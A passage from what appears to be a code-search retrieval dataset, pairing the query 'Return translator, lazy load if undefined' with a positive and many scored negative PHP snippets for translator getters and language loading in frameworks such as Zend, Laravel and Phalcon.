store()\n\t{\n\t\t//\n\t}", "title": "" } ]
d91b5aaf5dcf4c00c4caf868978fa3a2
Return translator, lazy load if undefined
[ { "docid": "25ed5343c5ea84108e4ffaa3358bb544", "score": "0.66792357", "text": "protected function getTranslate()\r\n {\r\n // Lazy load translator if undefined\r\n if ($this->translate === null) {\r\n Phoenix_Stats_Service_Translator::initTranslator($this->getOperationDocumentsLanguage());\r\n\r\n if (! Zend_Registry::isRegistered('Zend_Translate')) {\r\n throw new \\RuntimeException('\"Zend_Translate\" must be defiened in Registry');\r\n }\r\n $this->translate = Zend_Registry::get('Zend_Translate');\r\n }\r\n\r\n if ($this->translate instanceof \\Zend_Translate) {\r\n return $this->translate;\r\n }\r\n throw new \\LogicException('Property \"translate\" expects an instance of \"\\Zend_Translate\", \"' . (is_object($this->translate) ? get_class($this->translate) : gettype($this->translate)) . '\" defined');\r\n }", "title": "" } ]
[ { "docid": "db2c448944a7978ea9d843c9a3a82c3d", "score": "0.80058104", "text": "public static function getTranslator();", "title": "" }, { "docid": "8eaaf1e8c3791c1cbfa47524e52ae4bc", "score": "0.74792284", "text": "public function getTranslator()\n {\n return null;\n }", "title": "" }, { "docid": "c44786bf68625cb653381e3198632e70", "score": "0.7300085", "text": "public function translator()\n {\n return $this->translator;\n }", "title": "" }, { "docid": "12aca2e379b5476bb7de3c05330ac87a", "score": "0.72360086", "text": "public function getTranslator()\r\n {\r\n if (! $this->isTranslatorEnabled()) {\r\n return null;\r\n }\r\n\r\n return $this->translator;\r\n }", "title": "" }, { "docid": "26227025a3ea40ce4423372d6ab11d56", "score": "0.718743", "text": "public function getLocalTranslator();", "title": "" }, { "docid": "3a3b7a380c34fa27aac640a89a302e95", "score": "0.71494174", "text": "private function getFallbackTranslator()\n {\n if ($this->fallbackTranslator) {\n return $this->fallbackTranslator;\n }\n\n return $this->fallbackTranslator = new parent(app('translation.loader.fallback'), $this->fallback);\n }", "title": "" }, { "docid": "2b1ea8abf0403efce0462e3a7e715409", "score": "0.71385646", "text": "public function GetTranslator () {\n\t\treturn $this->translator;\n\t}", "title": "" }, { "docid": "5b50c6fb9545ea02aafad6f03bd60aef", "score": "0.7100111", "text": "abstract protected function translator();", "title": "" }, { "docid": "c94e44b22dbd4e498afe217ca533dc6d", "score": "0.7083622", "text": "public function getTranslator()\n {\n return $this->translator;\n }", "title": "" }, { "docid": "e85a1d02f3b466a1c96bcac4364e076c", "score": "0.7068315", "text": "public function getTranslator()\n {\n //Attempt to load from Cubex\n if($this->_translator === null && !$this->_attemptedBuild)\n {\n $this->_attemptedBuild = true;\n $translator = $this->getCubex()->make('i18n.translator');\n if($translator instanceof Translator)\n {\n $this->setTranslator($translator);\n }\n }\n\n if($this->_translator === null)\n {\n throw new \\RuntimeException(\"No Translator has been configured\");\n }\n return $this->_translator;\n }", "title": "" }, { "docid": "86aca3ed695727b1ed1f535e0b3f957d", "score": "0.7047291", "text": "public function getTranslator()\n {\n if (! $this->isTranslatorEnabled()) {\n return;\n }\n\n return $this->translator;\n }", "title": "" }, { "docid": "2e7e59ca615a97c3a57e0c9409330720", "score": "0.70445967", "text": "public function getTranslator()\n {\n return $this->_translator;\n }", "title": "" }, { "docid": "5e7b5d034eb6745e3658b1ebc9924e1c", "score": "0.6962441", "text": "protected function _getTranslation()\n\t{\n\t\t$language = $this->request->getBestLanguage();\n\t\t\n\t\tif(strtolower($language) == \"de-de\")\n\t\t\t$language = \"de\";\n\t\t\n\t\t$path = dirname(__FILE__).\"/../strings/\".$language.\".php\";\n\t\t\n\t\t//Check if we have a translation file for that lang\n\t\tif (file_exists($path)) {\n\t\t\trequire $path;\n\t\t} else {\n\t\t\t// fallback to some default\n\t\t\trequire dirname(__FILE__).\"/../strings/en.php\";\n\t\t}\n\t\t\n\t\t//Return a translation object\n\t\treturn new \\Phalcon\\Translate\\Adapter\\NativeArray(array(\n\t\t\t\t\"content\" => $strings\n\t\t));\n\t\n\t}", "title": "" }, { "docid": "e6f26507f369a572776f0c11e88fbfbd", "score": "0.6915102", "text": "public function getTranslator(): SymfonyTranslator\n {\n return self::$translator;\n }", "title": "" }, { "docid": "4978aacee9e903f3c18f7217a6210ae9", "score": "0.6902008", "text": "public function getTranslator()\n {\n if ($this->translatorIsDisabled()) {\n return null;\n }\n\n $translator = $this->getTransferAdapter()->getTranslator();\n if (null === $translator) {\n require_once 'Zend/Form.php';\n return Zend_Form::getDefaultTranslator();\n }\n\n return $translator;\n }", "title": "" }, { "docid": "4911789cc11ffd36aa3f0f92a5d1ecd7", "score": "0.68659073", "text": "public static function getDefaultTranslator ()\n {\n if ( null === self::$_translatorDefault )\n {\n require_once 'Zend/Registry.php';\n if ( Zend_Registry::isRegistered ( 'Zend_Translate' ) )\n {\n $translator = Zend_Registry::get ( 'Zend_Translate' );\n if ( $translator instanceof Zend_Translate_Adapter )\n {\n return $translator;\n } elseif ( $translator instanceof Zend_Translate )\n {\n return $translator->getAdapter ();\n }\n }\n }\n\n return self::$_translatorDefault;\n }", "title": "" }, { "docid": "50a4245289c17dcad186e9c646f79e88", "score": "0.68536425", "text": "public function getTranslator()\r\n {\r\n if(null === $this->translator)\r\n {\r\n $this->translator = $this->getServiceLocator()->get('translator');\r\n }\r\n return $this->translator;\r\n }", "title": "" }, { "docid": "68ad4fe2f997b35eadab9f1c83b9825d", "score": "0.67057437", "text": "private function _load_translation()\n {\n \t// if $this->translate is FALSE we don't load anything\n\t\tif ($this->translate !== FALSE)\n\t\t{\n\t\t\tif (is_array($this->translate))\n\t\t\t{\n\t\t\t\tforeach ($this->translate as $lang)\n\t\t\t\t{\n\t\t\t\t\t$this->lang->load($lang);\n\t\t\t\t}\n\t\t\t}\n\t\t\t// if $this->translate is true, we guess a translation filename\n\t\t\telseif ($this->translate === TRUE)\n\t\t\t{\n\t\t\t\t$this->lang->load($this->router->class);\n\t\t\t}\n\n\t\t\t// otherwise we assume a filename is given and load that\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->lang->load($this->translate);\n\t\t\t}\n\t\t}\n }", "title": "" }, { "docid": "3e03b75a30da0af59a2ce475e5a6f5cc", "score": "0.67019457", "text": "protected function translator()\n {\n if ($this->translator === null) {\n throw new RuntimeException(\n 'Translator has not been set on this object.'\n );\n }\n return $this->translator;\n }", "title": "" }, { "docid": "bdd6f4b25127ff0294c735350c4ea559", "score": "0.66855395", "text": "public static function getInstance(){\n\t\tstatic $i;\n\t\tif(!$i) $i = new Translator();\n\t\treturn $i;\n\t}", "title": "" }, { "docid": "be254227f082610ba26a1b3b5fdc67b6", "score": "0.66485596", "text": "public static function translation()\n {\n return new static::$translationModel;\n }", "title": "" }, { "docid": "c56d850165eb540a156cada66af2d5b3", "score": "0.6598093", "text": "public function getTranslator(string $domain = '') : \\PhpMyAdmin\\MoTranslator\\Translator\n {\n if ('' === $domain) {\n if (isset($this->domains[$_SERVER['RUNDIZBONES_LANGUAGE']][static::DEFAULT_DOMAIN])) {\n $domain = static::DEFAULT_DOMAIN;\n } else {\n $domain = $this->currentTextDomain;\n }\n }\n\n if (!isset($this->domains[$_SERVER['RUNDIZBONES_LANGUAGE']][$domain])) {\n // if never bind text domain before.\n // just use new translator with file that is not found.\n return new \\PhpMyAdmin\\MoTranslator\\Translator('');\n }\n\n return $this->domains[$_SERVER['RUNDIZBONES_LANGUAGE']][$domain];\n }", "title": "" }, { "docid": "7a7cde3af4f84196b688f022e6ea2dad", "score": "0.65977615", "text": "public static function initTranslate()\r\n {\r\n\r\n $oZendControllerFront = Zend_Controller_Front::getInstance();\r\n $oRequest = $oZendControllerFront->getRequest();\r\n\r\n if (PHP_SAPI === 'cli' && $oRequest) {\r\n $sLanguage = $oRequest->getParam('language');\r\n } else {\r\n // Retrieve user language if user is authenticated\r\n $oZendAuth = Zend_Auth::getInstance();\r\n if ($oZendAuth->getIdentity() instanceof Phoenix_Auth_User_Abstract) {\r\n $sLanguage = trim($oZendAuth->getStorage()->read()->getLanguage());\r\n }\r\n }\r\n $sLanguage = $sLanguage ?? 'fr_FR';\r\n\r\n // Load common language\r\n $sCommonLanguageFilePath = APPLICATION_PATH . '/languages/' . $sLanguage . '/common.php';\r\n if (! file_exists($sCommonLanguageFilePath)) {\r\n throw new \\LogicException('Comme language file \"'.$sCommonLanguageFilePath.'\" does not exist');\r\n }\r\n $oTranslate = new self('array', $sCommonLanguageFilePath, $sLanguage);\r\n\r\n if ($oRequest) {\r\n $sDir = $oZendControllerFront->getControllerDirectory($oRequest->getModuleName());\r\n if ($sDir) {\r\n foreach (glob($sDir . '/../languages/' . $sLanguage . '/*.php') as $sFile) {\r\n $oTranslate->addTranslation($sFile, $sLanguage);\r\n }\r\n }\r\n }\r\n Zend_Registry::set('Zend_Translate', $oTranslate);\r\n }", "title": "" }, { "docid": "d036e865db5004b47fdbc40765b74853", "score": "0.6566135", "text": "public function getTranslations();", "title": "" }, { "docid": "dd04e402c9d000d34ef7e9e9b3b047b6", "score": "0.6550487", "text": "protected function getTranslation()\n {\n $userLanguage = \"es\";\n $language = ($userLanguage) ? $userLanguage : $this->request->getBestLanguage();\n $translationFile = $this->config->application->translationsDir.$language.\".php\";\n // Check if we have a translation file for that lang\n if (file_exists($translationFile)) {\n require $translationFile;\n } else {\n // Fallback to some default\n require $this->config->application->translationsDir.\"es.php\";\n }\n // Return a translation object\n return new NativeArray(\n [\n \"content\" => $messages,\n ]\n );\n }", "title": "" }, { "docid": "ecf3a6f6c8b4155b3de8dfbc86a98734", "score": "0.650329", "text": "public function getTranslator(string $name, string $locale, iterable $options = []): TranslatorInterface;", "title": "" }, { "docid": "6a431a336d9515dc02cb03c75829a248", "score": "0.6450919", "text": "function trans($key = null, $replace = [], $locale = null)\n {\n if (is_null($key)) {\n return app('translator');\n }\n\n return app('translator')->get($key, $replace, $locale);\n }", "title": "" }, { "docid": "03b97a00ae1160bcc0968a9369355a10", "score": "0.6400193", "text": "public function _getServTranslator()\n {\n if (!$this->_servTranslator) {\n $this->_servTranslator = $this->getServiceLocator()->get('translator');\n }\n return $this->_servTranslator;\n }", "title": "" }, { "docid": "03b97a00ae1160bcc0968a9369355a10", "score": "0.6400193", "text": "public function _getServTranslator()\n {\n if (!$this->_servTranslator) {\n $this->_servTranslator = $this->getServiceLocator()->get('translator');\n }\n return $this->_servTranslator;\n }", "title": "" }, { "docid": "1ac5f3b3cf68b3528d44b8cc37bb8a6f", "score": "0.63328964", "text": "protected function transliteration() {\n if (!$this->transliteration) {\n $this->transliteration = \\Drupal::transliteration();\n }\n return $this->transliteration;\n }", "title": "" }, { "docid": "298c55626693f8997f07d9618a86a9f2", "score": "0.63154376", "text": "protected function resolve()\n\t{\n\t\t$key = $this->templatesFile . '.' . $this->source;\n\n\t\tif (Lang::has($key)) {\n\t\t\treturn Lang::get($key);\n\t\t}\n\n\t\treturn $this->default();\n\t}", "title": "" }, { "docid": "2c43f767a7b822fa690f46361f014370", "score": "0.62550956", "text": "function __(string $translationPhrase, $dynamic_source = null): ?string\n{\n global $translations;\n\n $translationPhrase = trim($translationPhrase);\n\n // We don't want such things ending up in db\n if ($translationPhrase === '') {\n return '';\n }\n\n // Convert the first letter of the language code to upper case\n $lang = ucfirst($_SESSION['language']);\n\n // return the original string if there was no language\n if (!$lang) {\n return $translationPhrase;\n }\n\n // Load translations (only the first time)\n if (empty($translations)) {\n\n // Return original string if the language does not exist (any more)\n if (!in_array($lang, Translation::languageCodesInUse(true))) {\n return $translationPhrase;\n }\n get_translation_strings($lang);\n }\n\n // Db does not store more than 765 bytes\n $translationPhrase = substr($translationPhrase, 0, 765);\n\n // Return the translation if it's there\n if (isset($translations[$translationPhrase])) {\n\n // Return original string if untranslated\n if ($translations[$translationPhrase] === NULL)\n return $translationPhrase;\n\n // Else return translated string\n return $translations[$translationPhrase];\n }\n\n // Right, so we don't have this in our db yet\n\n // Insert new stub\n Translation::add($translationPhrase, $dynamic_source);\n\n // And return the original string\n return nl2br($translationPhrase);\n\n}", "title": "" }, { "docid": "f127f159b3c8f5acc313962003282efa", "score": "0.62497663", "text": "private function fallback()\n {\n return $this->getTranslations('en', base_path('resources/lang'));\n }", "title": "" }, { "docid": "a9f61a2e38af84a7fc6164989df257ac", "score": "0.6194833", "text": "public function getTranslation($lang);", "title": "" }, { "docid": "dd9f52d165adeb65fbcf77d5a6114c3e", "score": "0.61280453", "text": "function _tr($module = null){\n\n return empty($module) ? \\Modules\\Language::getLanguage() : \\Modules\\Language::getLanguage()->$module;\n}", "title": "" }, { "docid": "d302458f9ba97332588de625bdb4271a", "score": "0.6118997", "text": "public function getPhrase(Translate $translator);", "title": "" }, { "docid": "c9d64872b0ad2d6ca504233ee6f2894a", "score": "0.61006606", "text": "public static function getTranslation()\n\t{\n\t\t// This language file is need by default.\n\t\tinclude($_SESSION['root'] . '/langs/en_US.php');\n\t\t$en_US = $LANG;\n\t\t\n\t\t// This file will be called when the user or the administrator select \n\t\t// a diferent language. But the primary language will be called first.\n\t\t// So if some words are not translated by the selected language it can be \n\t\t// displayed by the original language. \n\t\tinclude($_SESSION['root'] . '/langs/' . $_SESSION['site']['localization'] . '.php');\n\t\treturn array_merge($en_US, $LANG);\n\t}", "title": "" }, { "docid": "3c6a71471b13112f46fdbe37aa57d587", "score": "0.6074691", "text": "public function getTranslation()\n {\n return $this->translation;\n }", "title": "" }, { "docid": "84eda77a5890c682864121aa871341cf", "score": "0.6050056", "text": "public function getTranslation() {\n\t\t$to = Input::get('to', 'jp');\n\t\t$fallbackLocale = Config::get('app.fallback_locale');\n\t\t$langPath = app_path() . '/lang/';\n\t\tif (!is_dir($langPath . $to)) {\n\t\t\tmkdir($langPath . $to);\n\t\t}\n\t\t$langFiles = File::files($langPath . $fallbackLocale);\n\t\t$langContentFrom = array();\n\t\t$langContentTo = array();\n\t\tforeach ($langFiles as $langFile) {\n\t\t\t$langFileName = basename($langFile);\n\t\t\t$langFileTitle = basename($langFile, '.php');\n\t\t\t$langContentFrom[$langFileTitle] = File::getRequire($langPath . $fallbackLocale . '/' . $langFileName);\n\t\t\tif (is_file($langPath . $to . '/' . $langFileName)) {\n\t\t\t\t$langContentTo[$langFileTitle] = File::getRequire($langPath . $to . '/' . $langFileName);\n\t\t\t} else {\n\t\t\t\t$langContentTo[$langFileTitle] = array();\n\t\t\t}\n\t\t}\n\t\t$this->layout->content = View::make('admin.language.translation', array(\n\t\t\t\t\t'langContentFrom' => $langContentFrom,\n\t\t\t\t\t'langContentTo' => $langContentTo,\n\t\t\t\t\t'to' => $to\n\t\t));\n\t}", "title": "" }, { "docid": "329c18ebc0d9f52cd965fa368a90cca5", "score": "0.6043855", "text": "protected function getTranslatorService()\n {\n return $this->services['translator'] = new \\Symfony\\Component\\Translation\\DataCollectorTranslator(($this->privates['translator.default'] ?? $this->getTranslator_DefaultService()));\n }", "title": "" }, { "docid": "871bf9fac1f59cdb934128685447f78f", "score": "0.6020394", "text": "public function loadTranslation() {\n\n\t\t$locale = apply_filters( \"plugin_locale\", get_locale(), \"e20r-mycred-pmpro-integration\" );\n\t\t$mo = \"e20r-mycred-pmpro-integration-{$locale}.mo\";\n\n\t\t// Paths to local (plugin) and global (WP) language files\n\t\t$local_mo = plugin_dir_path( __FILE__ ) . \"/languages/{$mo}\";\n\t\t$global_mo = WP_LANG_DIR . \"/e20r-mycred-pmpro-integration/{$mo}\";\n\n\t\t// Load global version first\n\t\tload_textdomain( \"e20r-mycred-pmpro-integration\", $global_mo );\n\n\t\t// Load local version second\n\t\tload_textdomain( \"e20r-mycred-pmpro-integration\", $local_mo );\n\t}", "title": "" }, { "docid": "fbc6ed7ac2822c8a037a7bf655f32f17", "score": "0.60195905", "text": "public function _loadTranslationData()\n {}", "title": "" }, { "docid": "9c8e3d2fed0f2ae1502b4b4d4feeb206", "score": "0.6014593", "text": "function trans($key = null, $replace = [], $locale = null)\n {\n if (is_null($key)) {\n return app('translator');\n }\n\n return app('translator')->trans($key, $replace, $locale);\n }", "title": "" }, { "docid": "8f313e9c49b765e8f12d5f0b1a0dd83f", "score": "0.59908557", "text": "function PPget_lang( $text ) {\n global $LanguageLookup, $doTranslate;\n \n if ($doTranslate && isset($LanguageLookup[$text])) {\n $newtext = $LanguageLookup[$text];\n } else {\n $newtext = $text;\n }\n return($newtext);\n}", "title": "" }, { "docid": "4f99ac8a427f067197f69789aea321b3", "score": "0.59787637", "text": "public function getTranslationModel()\n {\n return new Translation;\n }", "title": "" }, { "docid": "b79ed617d36065bed1f34157ae5dded0", "score": "0.597117", "text": "protected function getTranslationService()\n {\n return $this->services['translation'] = new \\Gekosale\\Core\\Translation($this, 'en_EN');\n }", "title": "" }, { "docid": "d1fb351ad9d5ad1edd66b15e54a4928e", "score": "0.59643894", "text": "function getTranslationManager() {\r\n\t\tif ( $this->_TranslateManager instanceof translateManager ) {\r\n\t\t\treturn $this->_TranslateManager;\r\n\t\t}\r\n\t\treturn null;\r\n\t}", "title": "" }, { "docid": "7c9f0694cf89e3bf6b377be7fffd95e3", "score": "0.5958751", "text": "function getTranslate($data = null){\n \n // Define Default Language from Security to view\n @$data = $this->defTranslation($data);\n \n // Translate\n $data['edit'] = $this->Lang('update');\n $data['delete'] = $this->Lang('delete');\n $data['disactive'] = $this->Lang('disactive');\n $data['title'] = $this->Lang('unit');\n $data['name'] = $this->Lang('name');\n $data['list'] = $this->Lang('list');\n $data['create'] = $this->Lang('create');\n $data['desc'] = $this->Lang('desc');\n $data['c_total'] = $this->Lang('total');\n \n // Menu Active\n $data['ac_types'] = 'active';\n \n return $data;\n }", "title": "" }, { "docid": "9dfaa7ce195999db88698edfb7e52786", "score": "0.59383357", "text": "public function __invoke(ContainerInterface $container)\n {\n // locale as well as the fallback locale. So, we'll grab the application\n // configuration so we can easily get both of these values from there.\n\n $config = $container->get(ConfigInterface::class);\n $locale = $config->get('translation.locale');\n $fallbackLocale = $config->get('translation.fallback_locale');\n\n $loader = $container->get(Loader::class);\n\n $trans = make(Translator::class, compact('loader', 'locale'));\n $trans->setFallback($fallbackLocale);\n\n\n return $trans;\n\n }", "title": "" }, { "docid": "62ac0b1b4b0a47054be4525b2780e764", "score": "0.5937251", "text": "function GetTranslation($Phrase,$Language=null,$Target=null)\n\t{\n\t\tif ($Language===null)\n\t\t\t$Language=$this->GetPivot();\n\t\tif ($Target===null)\n\t\t\t$Target=$this->GetActive();\n\t\t\n\t\tif ($Target===$Language)\n\t\t\treturn $Phrase;\n\t\t\t\n\t\t//if source or target is not pivot, do indirect translation\n\t\tif ($Language != $this->GetPivot() && $Target!=$this->GetPivot())\n\t\t{\n\t\t\t$t=$this->GetTranslation($Phrase,$Language,$this->GetPivot());\n\t\t\treturn $this->GetTranslation($t,$this->GetPivot(),$Target);\n\t\t}\n\t\t//else do the direct pivot->target translation\n\t\t\t\n\t\t\n\t\t$ID=$this->PhraseID($Phrase,$Language);\n\t\tif (!$ID)\n\t\t\treturn null;\n\t\t\n\t\t\t\n\t\t/**/\n\t\tif ($this->_getTranslationPrepared===null)\n\t\t\t$this->_getTranslationPrepared=j::$DB->Prepare(\"SELECT * FROM (SELECT ID1 AS gID FROM jfp_i18n_graph WHERE ID2=? \n\t\t\tUNION ALL\n\t\t\t\tSELECT ID2 AS gID FROM jfp_i18n_graph WHERE ID1=?) AS TRs\n\t\t\t\tJOIN jfp_i18n ON (jfp_i18n.ID=TRs.gID)\n\t\t\t\t\n\t\t\t\tWHERE Language=?\");\n\t\t$this->_getTranslationPrepared->Execute($ID,$ID,$Target);\n\t\t$Res=$this->_getTranslationPrepared->AllResult();\n\t\t/*\n\t\t$Res=j::SQL(\"\n\t\tSELECT * FROM (SELECT ID1 AS gID FROM jfp_i18n_graph WHERE ID2=? \n\t\t\tUNION \n\t\t\t\tSELECT ID2 AS gID FROM jfp_i18n_graph WHERE ID1=?) AS TRs\n\t\t\t\tJOIN jfp_i18n ON (jfp_i18n.ID=TRs.gID)\n\t\t\t\t\n\t\t\t\tWHERE Language=?\",$ID,$ID,$Target);\n\t\t*/\n\t\tif (!$Res)\n\t\t\treturn false;\n\t\t\n\t\treturn $Res[0]['Phrase'];\n\t}", "title": "" }, { "docid": "9683bbb932441b6fd351f1bd0fba5829", "score": "0.59348786", "text": "function __($key = null, $replace = [], $locale = null)\n {\n return app('translator')->getFromJson($key, $replace, $locale);\n }", "title": "" }, { "docid": "5d99f26917935ee430a8c3f3cbe10a92", "score": "0.5930368", "text": "public function getTranslatorLocale() {\n\t\tif (!isset($this->translator_locale)) {\n\t\t\t$this->setTranslatorLocale();\n\t\t} // end if\n\t\treturn $this->translator_locale;\n\t}", "title": "" }, { "docid": "6c346dd50d25dee465dba0d99e90a67c", "score": "0.5870374", "text": "public function _initTranslator()\n {\n $translator = new Zend_Translate(array(\n 'adapter' => 'array',\n 'content' => APPLICATION_PATH. '\\..\\resources\\languages',\n 'locale' => 'fr',\n 'scan' => Zend_Translate::LOCALE_DIRECTORY\n )\n );\n Zend_Validate_Abstract::setDefaultTranslator($translator);\n }", "title": "" }, { "docid": "97b1d295465a88ec09a50fd5e2774f8e", "score": "0.5866208", "text": "public function loadLang () {\n }", "title": "" }, { "docid": "ee82262b48aaa132c46564d84a45878c", "score": "0.58455133", "text": "public static function generateTranslation($phrase, $thisLang)\n {\n if ($phrase && $thisLang) {\n $checkPresentPhrase = self::where('phrase', 'like', $phrase)->first();\n if (! isset($checkPresentPhrase->id)) {\n $newPhrase = self::create(['phrase' => $phrase]);\n\n $langsDef = Config::get('translations.config.def_locale');\n $langsAll = Config::get('translations.config.alt_langs');\n\n foreach ($langsAll as $lang) {\n $lang = str_replace('ua', 'uk', $lang);\n $langsDef = str_replace('ua', 'uk', $langsDef);\n $translate = $phrase;\n\n if (config('builder.translate_cms.api_yandex_key')) {\n try {\n $translator = new Translator(config('builder.translate_cms.api_yandex_key'));\n $translation = $translator->translate($phrase, $langsDef.'-'.$lang);\n $translate = $translation->getResult()[0] ?? $phrase;\n } catch (\\Exception $e) {\n $translate = $phrase;\n }\n }\n\n Translate::create(\n [\n 'id_translations_phrase' => $newPhrase->id,\n 'lang' => str_replace('uk', 'ua', $lang),\n 'translate' => $translate,\n ]\n );\n }\n\n self::reCacheTrans();\n $arrayTranslate = self::fillCacheTrans();\n\n return $arrayTranslate[$phrase][$thisLang] ?? 'error translation';\n }\n\n $translatePhrase = Translate::where('id_translations_phrase', $checkPresentPhrase->id)\n ->where('lang', 'like', $thisLang)->first();\n\n if ($translatePhrase) {\n return $translatePhrase->translate;\n }\n }\n }", "title": "" }, { "docid": "371f534e37440ff927f7b39be77ec3ae", "score": "0.5839518", "text": "abstract public function getLang();", "title": "" }, { "docid": "9991d974df92ebdc0a8c8cb16c55cb35", "score": "0.58210427", "text": "public function provide_translate()\n\t{\n\t\t$provider = array_merge($this->provide_form_translation(), $this->provide_plural_translation(), $this->provide_unknown_translation());\n\t\t// Note: $three_arguments has intentionally skewed arguments to test translation without context\n\t\t$three_arguments = array(\n\t\t\tarray('something different', 'something :what', NULL, array(':what' => 'different'), 'en'),\n\t\t\tarray('něco jiného', 'something :what', NULL, array(':what' => 'jiného'), 'cs'),\n\t\t);\n\t\treturn array_merge($three_arguments, array_map(array($this, 'map_translate_provider'), $provider));\n\t}", "title": "" }, { "docid": "284fef57cd965be41a5643118b709a5d", "score": "0.5817745", "text": "function __($key, $replace = [], $locale = null)\n {\n return app('translator')->getFromJson($key, $replace, $locale);\n }", "title": "" }, { "docid": "6f02e64a920f3e9ea814a75930d52f08", "score": "0.580669", "text": "public function translate($locale = null, $fallbackToDefault = true);", "title": "" }, { "docid": "83822b0e8bcce846f2b72bfebdfd2e58", "score": "0.58000404", "text": "public function getTranslationTable();", "title": "" }, { "docid": "9108378e33d5457941b4e06b85c5af46", "score": "0.5793674", "text": "function smarty_modifier_translate($value = null, $path = null, $locale = null)\n{\n if (!Shopware()->Container()->has('locale')) {\n return $value;\n }\n if ($locale === null) {\n $locale = Shopware()->Container()->get('locale');\n }\n if ($path === 'currency') {\n $path = 'nametocurrency';\n }\n return $locale->getTranslation($value, $path, $locale);\n}", "title": "" }, { "docid": "4a8070f08a5a7852b9c504b892dad6b2", "score": "0.5773309", "text": "public function hasLocalTranslator();", "title": "" }, { "docid": "79d1c0f201246da84e19d39c291441da", "score": "0.57667214", "text": "private function find_or_initialize_translation_details() {\n\n\t\t$set = Give_Cache::get( \"give_i18n_give_{$this->locale}\", true );\n\n\t\tif ( ! $set ) {\n\t\t\t$set = $this->retrieve_translation_details();\n\t\t\tGive_Cache::set( \"give_i18n_give_{$this->locale}\", $set, DAY_IN_SECONDS, true );\n\t\t}\n\n\t\treturn $set;\n\t}", "title": "" }, { "docid": "8bf280f451bd86af49eb7befc5a37b92", "score": "0.5762684", "text": "public static function translate($id) {\r\n\t\t$string = new String ( array (\r\n\t\t\t\t'id' => $id \r\n\t\t) );\r\n\t\tif (isset ( $_SESSION ['language'] )) {\r\n\t\t\t$language = $_SESSION ['language'];\r\n\t\t} else {\r\n\t\t\t$language = DEFAULT_LOCALE;\r\n\t\t}\r\n\t\t// echo ' <br/>66: <pre>';\r\n\t\t// var_dump($string->translations);\r\n\t\t// echo '</pre>';\r\n\t\treturn $string->translations [$language]->getTranslation ();\r\n\t}", "title": "" }, { "docid": "5b00ff651339098aac1736dd56458561", "score": "0.5756896", "text": "public function getTranslation($property, $langcode = NULL);", "title": "" }, { "docid": "6d8c2cc9c7e8ff8ea1c41bad9d712f65", "score": "0.5742501", "text": "public function translator(): string\n {\n return 'sequential';\n }", "title": "" }, { "docid": "261c74f276a864ee1e5533197028c16c", "score": "0.5732226", "text": "public function getTranslationFile();", "title": "" }, { "docid": "13602b14173934c89f5d7e9fe1464176", "score": "0.5730374", "text": "public function getTranslationMessage(string $key, ?string $locale = null, ?string $default = null, $translator = null);", "title": "" }, { "docid": "396d242db1ef6316328eb40a1cdb2243", "score": "0.572201", "text": "public static function translationModel()\n {\n return static::$translationModel;\n }", "title": "" }, { "docid": "e9eeaae85be39983050f2390a4506a24", "score": "0.5708255", "text": "function trans($id = null, $parameters = [], $domain = 'messages', $locale = null)\n {\n if (is_null($id)) {\n return app('translator');\n }\n\n return app('translator')->trans($id, $parameters, $domain, $locale);\n }", "title": "" }, { "docid": "c2d28fa8ead456ab50570d08f95987ad", "score": "0.57072026", "text": "public function getLocalization() {\n $l = new Locale();\n foreach ($this->stringLiterals as $message => $literal)\n $l->set($message, $message);\n foreach ($this->pluralLiterals as $message => $array) {\n list($plural, $singular, $smessage) = $array;\n $l->set($message, array($smessage, $message));\n }\n return $l;\n }", "title": "" }, { "docid": "ce90475889f0c0383b27aec19a6a63b0", "score": "0.56944126", "text": "public function setLocale(string $defaultLang): Translator;", "title": "" }, { "docid": "bcd60bcc9058dec474c69927c487ce87", "score": "0.5694306", "text": "public static function translate($text) {\n\n\t \t\t return _($text);\n\t }", "title": "" }, { "docid": "0817cfdaa0fe8083cecdfc95feb994d3", "score": "0.56925243", "text": "function translate($string) {\n\tif (isset($GLOBALS['language'])) {\n\t\treturn $GLOBALS['language']->translate($string);\n\t} else {\n\t\treturn '!Translations Not Loaded!';\n\t}\n}", "title": "" }, { "docid": "bb43fdf7702ebc7ab81fd3b368b7a5e0", "score": "0.5691164", "text": "function _t($id, $parameters = array(), $domain = 'messages', $locale = null)\n{\n return app('translator')->trans($id, $parameters, $domain, $locale);\n}", "title": "" }, { "docid": "0c39d5f315ecfcae59fe88dd243450bf", "score": "0.56879646", "text": "public function loadMainTrans()\n {\n $translationPath = $this->_getTransPath();\n require $translationPath.\"/main.php\";\n\n //Return a translation object\n $mainTranslate = new NativeArray(array(\n \"content\" => $messages\n ));\n\n $this->mainTranslate = $messages;\n\n //Set $mt as main translation object\n $this->view->setVar(\"mt\", $mainTranslate);\n\n }", "title": "" }, { "docid": "2a99b02d5185232caf6498dfc7df8890", "score": "0.56785005", "text": "protected function trans($str, $code = LANGUAGE_CODE)\n {\n return $this->language->get($str, $code);\n }", "title": "" }, { "docid": "84f996fd3118cde26487b04b1d7b7e43", "score": "0.56724006", "text": "function get_lang($name){\n\t\tglobal $lang;\n\t\t$phrase = $lang->get_phrase($name);\n\t\tif(!empty($phrase)){\n\t\t\treturn $phrase;\n\t\t}\n\t\treturn $name ;\n\t}", "title": "" }, { "docid": "bac8fe3ee088793deee53ac576cae7da", "score": "0.566107", "text": "public function loadAllTranslations();", "title": "" }, { "docid": "469fbee38ff42fbb7b5309257e663f1a", "score": "0.56591314", "text": "public function getTranslation($langcode, $strict = TRUE);", "title": "" }, { "docid": "489babfe66e71a141629c77b2c90b498", "score": "0.5657215", "text": "protected function trans($str, $code = LANGUAGE_CODE)\n {\n return $this->language->get($str, $this->code);\n }", "title": "" }, { "docid": "81149513f5dfd836d4a727ed442f3776", "score": "0.56565416", "text": "public function setLocalTranslator(TranslatorInterface $translator);", "title": "" }, { "docid": "264da745b4991694c8445ba4371dd0b7", "score": "0.56468457", "text": "public function getTranslation($field, $locale);", "title": "" }, { "docid": "4f0707ec3bae9d214a5d32e3c211555d", "score": "0.5641928", "text": "function tr($text, $translateText = NULL) {\n\tstatic $dictionary = [];\n\tstatic $load = [];\n\n\t$lang = strtolower(cfg('lang'));\n\tif (empty($load)) {\n\t\t$load[] = 'core.en.po';\n\t\tinclude(_CORE_FOLDER.'/core/po/core.en.po');\n\t}\n\t$current_lang_po = strtolower('core.'.$lang.'-'.cfg('client.characterset').'.po');\n\tif (!in_array($current_lang_po,$load)) {\n\t\t$load[] = $current_lang_po;\n\t\tinclude(_CORE_FOLDER.'/core/po/'.$current_lang_po);\n\t\t//print_o($dict,'$dict',1);\n\t\tif ($dict && is_array($dict)) {\n\t\t\tforeach ($dict[$lang] as $key => $value) 